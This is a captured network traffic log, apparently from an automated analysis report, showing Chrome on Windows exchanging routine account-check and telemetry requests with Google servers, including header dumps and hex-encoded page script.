2024-07-04 20:21:20 UTC	1224	OUT	GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=-822503288&timestamp=1720124479360 HTTP/1.1 Host: accounts.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-04 20:21:21 UTC	1951	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: ALLOW-FROM https://accounts.google.com Content-Security-Policy: frame-ancestors https://accounts.google.com Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Y8yR0cwpP6a-QbuZlQo5ZA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport/allowlist Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 04 Jul 2024 20:21:21 GMT Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin reporting-endpoints: default="/_/AccountsDomainCookiesCheckConnectionHttp/web-reports?context=eJzj0tDikmJw15BikPj6kkkDiJ3SZ7AGAXHSv_OsRUC8JOIi66HEi6xC3BwHO-ZsYRNomPDBQ0kvKb8wPjMlNa8ks6QyJT83MTMvOT8_OzO1uDi1qCy1KN7IwMjEwMzIWM_AIr7AAAC1TSXj" Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-04 20:21:21 UTC	1951	IN	Data Raw: 37 36 36 36 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 59 38 79 52 30 63 77 70 50 36 61 2d 51 62 75 5a 6c 51 6f 35 5a 41 22 3e 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 74 72 79 7b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f Data Ascii: 7666<html><head><script nonce="Y8yR0cwpP6a-QbuZlQo5ZA">"use strict";this.default_AccountsDomaincookiesCheckconnectionJs=this.default_AccountsDomaincookiesCheckconnectionJs\|\|{};(function(_){var window=this;try{_._F_toggles_initialize=function(a){(typeo
2024-07-04 20:21:21 UTC	1951	IN	Data Raw: 64 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 20 64 20 69 6e 20 62 7d 29 5d 7c 7c 22 22 7d 7d 2c 71 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 0a 66 61 28 29 3b 69 66 28 61 3d 3d 3d 22 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 22 29 7b 69 66 28 6a 61 28 29 29 69 66 28 28 61 3d 2f 72 76 3a 20 2a 28 5b 5c 64 5c 2e 5d 2a 29 2f 2e 65 78 65 63 28 62 29 29 26 26 61 5b 31 5d 29 62 3d 61 5b 31 5d 3b 65 6c 73 65 7b 61 3d 22 22 3b 76 61 72 20 63 3d 2f 4d 53 49 45 20 2b 28 5b 5c 64 5c 2e 5d 2b 29 2f 2e 65 78 65 63 28 62 29 3b 69 66 28 63 26 26 63 5b 31 5d 29 69 66 28 62 3d 2f 54 72 69 64 65 6e 74 5c 2f 28 5c 64 2e 5c 64 29 2f 2e 65 78 65 63 28 62 29 2c 63 5b 31 5d 3d 3d 22 37 2e 30 22 29 69 66 28 62 26 26 62 5b 31 5d 29 73 77 Data Ascii: d(function(d){return d in b})]\|\|""}},qa=function(a){var b=fa();if(a==="Internet Explorer"){if(ja())if((a=/rv: ([\d\.])/.exec(b))&&a[1])b=a[1];else{a="";var c=/MSIE +([\d\.]+)/.exec(b);if(c&&c[1])if(b=/Trident\/(\d.\d)/.exec(b),c[1]=="7.0")if(b&&b[1])sw
2024-07-04 20:21:21 UTC	1951	IN	Data Raw: 3b 7a 61 3d 76 6f 69 64 20 30 3b 69 66 28 61 3d 3d 6e 75 6c 6c 29 7b 76 61 72 20 64 3d 39 36 3b 63 3f 28 61 3d 5b 63 5d 2c 64 7c 3d 35 31 32 29 3a 61 3d 5b 5d 3b 62 26 26 28 64 3d 64 26 2d 31 36 37 36 30 38 33 33 7c 28 62 26 31 30 32 33 29 3c 3c 31 34 29 7d 65 6c 73 65 7b 69 66 28 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 6e 22 29 3b 64 3d 7a 28 61 29 3b 69 66 28 64 26 32 30 34 38 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 6f 22 29 3b 69 66 28 64 26 0a 36 34 29 72 65 74 75 72 6e 20 61 3b 64 7c 3d 36 34 3b 69 66 28 63 26 26 28 64 7c 3d 35 31 32 2c 63 21 3d 3d 61 5b 30 5d 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 70 22 29 3b 61 3a 7b 63 3d 61 3b 76 61 72 20 65 3d 63 2e 6c 65 6e 67 74 68 3b 69 66 28 65 29 Data Ascii: ;za=void 0;if(a==null){var d=96;c?(a=[c],d\|=512):a=[];b&&(d=d&-16760833\|(b&1023)<<14)}else{if(!Array.isArray(a))throw Error("n");d=z(a);if(d&2048)throw Error("o");if(d&64)return a;d\|=64;if(c&&(d\|=512,c!==a[0]))throw Error("p");a:{c=a;var e=c.length;if(e)
2024-07-04 20:21:21 UTC	1951	IN	Data Raw: 3a 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 63 61 3b 76 61 72 20 65 3d 4b 61 28 63 3f 61 2e 43 3a 62 29 3b 69 66 28 61 3d 62 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 66 3d 62 5b 61 2d 31 5d 2c 68 3d 77 61 28 66 29 3b 68 3f 61 2d 2d 3a 66 3d 76 6f 69 64 20 30 3b 65 3d 2b 21 21 28 65 26 35 31 32 29 2d 31 3b 76 61 72 20 67 3d 62 3b 69 66 28 68 29 7b 62 3a 7b 76 61 72 20 6b 3d 66 3b 76 61 72 20 6c 3d 7b 7d 3b 68 3d 21 31 3b 69 66 28 6b 29 66 6f 72 28 76 61 72 20 6d 20 69 6e 20 6b 29 69 66 28 69 73 4e 61 4e 28 2b 6d 29 29 6c 5b 6d 5d 3d 6b 5b 6d 5d 3b 65 6c 73 65 7b 76 61 72 20 71 3d 6b 5b 6d 5d 3b 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 71 29 26 26 28 41 28 71 2c 64 2c 0a 2b 6d 29 7c 7c 76 61 28 71 29 26 26 71 2e 73 69 7a 65 3d 3d 3d 30 29 26 26 28 71 3d 6e Data Ascii: :a.constructor.ca;var e=Ka(c?a.C:b);if(a=b.length){var f=b[a-1],h=wa(f);h?a--:f=void 0;e=+!!(e&512)-1;var g=b;if(h){b:{var k=f;var l={};h=!1;if(k)for(var m in k)if(isNaN(+m))l[m]=k[m];else{var q=k[m];Array.isArray(q)&&(A(q,d,+m)\|\|va(q)&&q.size===0)&&(q=n
2024-07-04 20:21:21 UTC	1951	IN	Data Raw: 67 74 68 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 50 61 5b 62 5b 63 5d 5d 3b 74 79 70 65 6f 66 20 64 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 20 64 2e 70 72 6f 74 6f 74 79 70 65 5b 61 5d 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 45 28 64 2e 70 72 6f 74 6f 74 79 70 65 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 51 61 28 4e 61 28 74 68 69 73 29 29 7d 7d 29 7d 72 65 74 75 72 6e 20 61 7d 29 3b 0a 76 61 72 20 51 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 7b 6e 65 78 74 3a 61 7d 3b 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 72 65 74 Data Ascii: gth;c++){var d=Pa[b[c]];typeof d==="function"&&typeof d.prototype[a]!="function"&&E(d.prototype,a,{configurable:!0,writable:!0,value:function(){return Qa(Na(this))}})}return a});var Qa=function(a){a={next:a};a[Symbol.iterator]=function(){return this};ret
2024-07-04 20:21:21 UTC	1951	IN	Data Raw: 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 69 66 28 21 63 28 6b 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 69 22 29 3b 64 28 6b 29 3b 69 66 28 21 48 28 6b 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 6a 60 22 2b 6b 29 3b 6b 5b 66 5d 5b 74 68 69 73 2e 67 5d 3d 6c 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 20 63 28 6b 29 26 26 48 28 6b 2c 66 29 3f 6b 5b 66 5d 5b 74 68 69 73 2e 67 5d 3a 76 6f 69 64 20 30 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 20 63 28 6b 29 26 26 48 28 6b 2c 66 29 26 26 48 28 6b 5b 66 5d 2c 74 68 69 73 2e 67 29 7d 3b 67 2e 70 72 Data Ascii: rototype.set=function(k,l){if(!c(k))throw Error("i");d(k);if(!H(k,f))throw Error("j`"+k);k[f][this.g]=l;return this};g.prototype.get=function(k){return c(k)&&H(k,f)?k[f][this.g]:void 0};g.prototype.has=function(k){return c(k)&&H(k,f)&&H(k[f],this.g)};g.pr
2024-07-04 20:21:21 UTC	1951	IN	Data Raw: 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 3b 76 61 72 20 64 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 6b 29 7b 76 61 72 20 6c 3d 6b 26 26 74 79 70 65 6f 66 20 6b 3b 6c 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 62 2e 68 61 73 28 6b 29 3f 6c 3d 62 2e 67 65 74 28 6b 29 3a 28 6c 3d 22 22 2b 20 2b 2b 68 2c 62 2e 73 65 74 28 6b 2c 6c 29 29 3a 6c 3d 22 70 5f 22 2b 6b 3b 76 61 72 20 6d 3d 67 5b 30 5d 5b 6c 5d 3b 69 66 28 6d 26 26 48 28 67 5b 30 5d 2c 6c 29 29 66 6f 72 28 67 3d 30 3b 67 3c 6d 2e 6c 65 6e 67 74 68 3b 67 2b 2b 29 7b 76 61 72 20 71 3d 6d 5b 67 5d 3b 69 66 28 6b 21 3d 3d 6b 26 26 71 2e 6b 65 79 21 3d 3d 71 2e 6b 65 79 7c 7c 6b 3d 3d 3d 71 2e 6b 65 79 29 72 65 74 75 72 6e 7b 69 64 3a 6c 2c 6c 69 73 74 3a 6d 2c 69 6e 64 65 78 Data Ascii: otype.entries;var d=function(g,k){var l=k&&typeof k;l=="object"\|\|l=="function"?b.has(k)?l=b.get(k):(l=""+ ++h,b.set(k,l)):l="p_"+k;var m=g[0][l];if(m&&H(g[0],l))for(g=0;g<m.length;g++){var q=m[g];if(k!==k&&q.key!==q.key\|\|k===q.key)return{id:l,list:m,index
2024-07-04 20:21:21 UTC	1951	IN	Data Raw: 72 20 68 3d 30 3b 21 28 66 3d 62 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 65 2e 70 75 73 68 28 63 2e 63 61 6c 6c 28 64 2c 66 2e 76 61 6c 75 65 2c 68 2b 2b 29 29 7d 65 6c 73 65 20 66 6f 72 28 66 3d 62 2e 6c 65 6e 67 74 68 2c 68 3d 30 3b 68 3c 66 3b 68 2b 2b 29 65 2e 70 75 73 68 28 63 2e 63 61 6c 6c 28 64 2c 62 5b 68 5d 2c 68 29 29 3b 72 65 74 75 72 6e 20 65 7d 7d 29 3b 76 61 72 20 5a 61 3d 5a 61 7c 7c 7b 7d 2c 72 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 61 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 24 61 28 22 57 49 5a 5f 67 6c 6f 62 61 6c 5f 64 61 74 61 2e 6f 78 4e 33 6e 62 22 29 3b 61 3d 63 26 26 63 5b 61 5d 3b 72 65 74 75 72 6e 20 61 21 3d 6e 75 6c 6c 3f 61 3a 62 7d 2c 49 3d 72 2e 5f 46 5f 74 6f 67 67 6c 65 73 7c 7c 5b 5d 2c 24 61 Data Ascii: r h=0;!(f=b.next()).done;)e.push(c.call(d,f.value,h++))}else for(f=b.length,h=0;h<f;h++)e.push(c.call(d,b[h],h));return e}});var Za=Za\|\|{},r=this\|\|self,ab=function(a,b){var c=$a("WIZ_global_data.oxN3nb");a=c&&c[a];return a!=null?a:b},I=r._F_toggles\|\|[],$a
2024-07-04 20:21:21 UTC	1951	IN	Data Raw: 70 65 6f 66 20 61 3d 3d 3d 22 73 74 72 69 6e 67 22 3f 61 2e 73 70 6c 69 74 28 22 22 29 3a 61 2c 66 3d 30 3b 66 3c 64 3b 66 2b 2b 29 66 20 69 6e 20 65 26 26 62 2e 63 61 6c 6c 28 63 2c 65 5b 66 5d 2c 66 2c 61 29 7d 3b 76 61 72 20 63 61 3d 22 63 6f 6e 73 74 72 75 63 74 6f 72 20 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 20 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 20 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 20 74 6f 4c 6f 63 61 6c 65 53 74 72 69 6e 67 20 74 6f 53 74 72 69 6e 67 20 76 61 6c 75 65 4f 66 22 2e 73 70 6c 69 74 28 22 20 22 29 3b 76 61 72 20 6a 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 63 3d 63 7c 7c 72 3b 76 61 72 20 64 3d 63 2e 6f 6e 65 72 72 6f 72 2c 65 3d 21 21 62 3b 63 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f Data Ascii: peof a==="string"?a.split(""):a,f=0;f<d;f++)f in e&&b.call(c,e[f],f,a)};var ca="constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" ");var jb=function(a,b,c){c=c\|\|r;var d=c.onerror,e=!!b;c.onerror=functio
2024-07-04 20:21:21 UTC	1951	IN	Data Raw: 65 6e 74 73 2c 65 3d 30 3b 64 26 26 65 3c 64 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 65 3e 30 26 26 63 2e 70 75 73 68 28 22 2c 20 22 29 3b 76 61 72 20 66 3d 64 5b 65 5d 3b 73 77 69 74 63 68 28 74 79 70 65 6f 66 20 66 29 7b 63 61 73 65 20 22 6f 62 6a 65 63 74 22 3a 66 3d 66 3f 22 6f 62 6a 65 63 74 22 3a 22 6e 75 6c 6c 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 73 74 72 69 6e 67 22 3a 62 72 65 61 6b 3b 63 61 73 65 20 22 6e 75 6d 62 65 72 22 3a 66 3d 53 74 72 69 6e 67 28 66 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 62 6f 6f 6c 65 61 6e 22 3a 66 3d 66 3f 22 74 72 75 65 22 3a 22 66 61 6c 73 65 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 66 75 6e 63 74 69 6f 6e 22 3a 66 3d 28 66 3d 6c 62 28 66 29 29 3f 66 3a 22 5b 66 6e 5d 22 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c Data Ascii: ents,e=0;d&&e<d.length;e++){e>0&&c.push(", ");var f=d[e];switch(typeof f){case "object":f=f?"object":"null";break;case "string":break;case "number":f=String(f);break;case "boolean":f=f?"true":"false";break;case "function":f=(f=lb(f))?f:"[fn]";break;defaul

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49760	216.58.206.46	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 20:21:22 UTC	549	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-04 20:21:22 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 20:21:22 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49762	216.58.206.46	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 20:21:22 UTC	549	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-04 20:21:22 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 20:21:22 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49767	216.58.206.46	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 20:21:23 UTC	1132	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 521 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-04 20:21:23 UTC	521	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 32 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 30 31 32 34 34 38 30 34 31 36 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"22",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1720124480416",null,null,null
2024-07-04 20:21:23 UTC	925	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=515=KYs2VZNA6HLpoa7_atkwavQNpoWqrMAC_SUzgHPZknZkOPrRvQCnSXBskoHaB_UM9uav3mHKwddn9nQQskf8IAFmE1vUpph0iqJMyEgCz07QJEmNJ4Fk40QarFAML8hUc6aiv_46aa_wA0oGbfLyoEyjPBGjm3QErkm3RlUm5ao; expires=Fri, 03-Jan-2025 20:21:23 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 20:21:23 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 04 Jul 2024 20:21:23 GMT Connection: close Transfer-Encoding: chunked
2024-07-04 20:21:23 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-04 20:21:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49766	216.58.206.46	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 20:21:23 UTC	1132	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 521 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
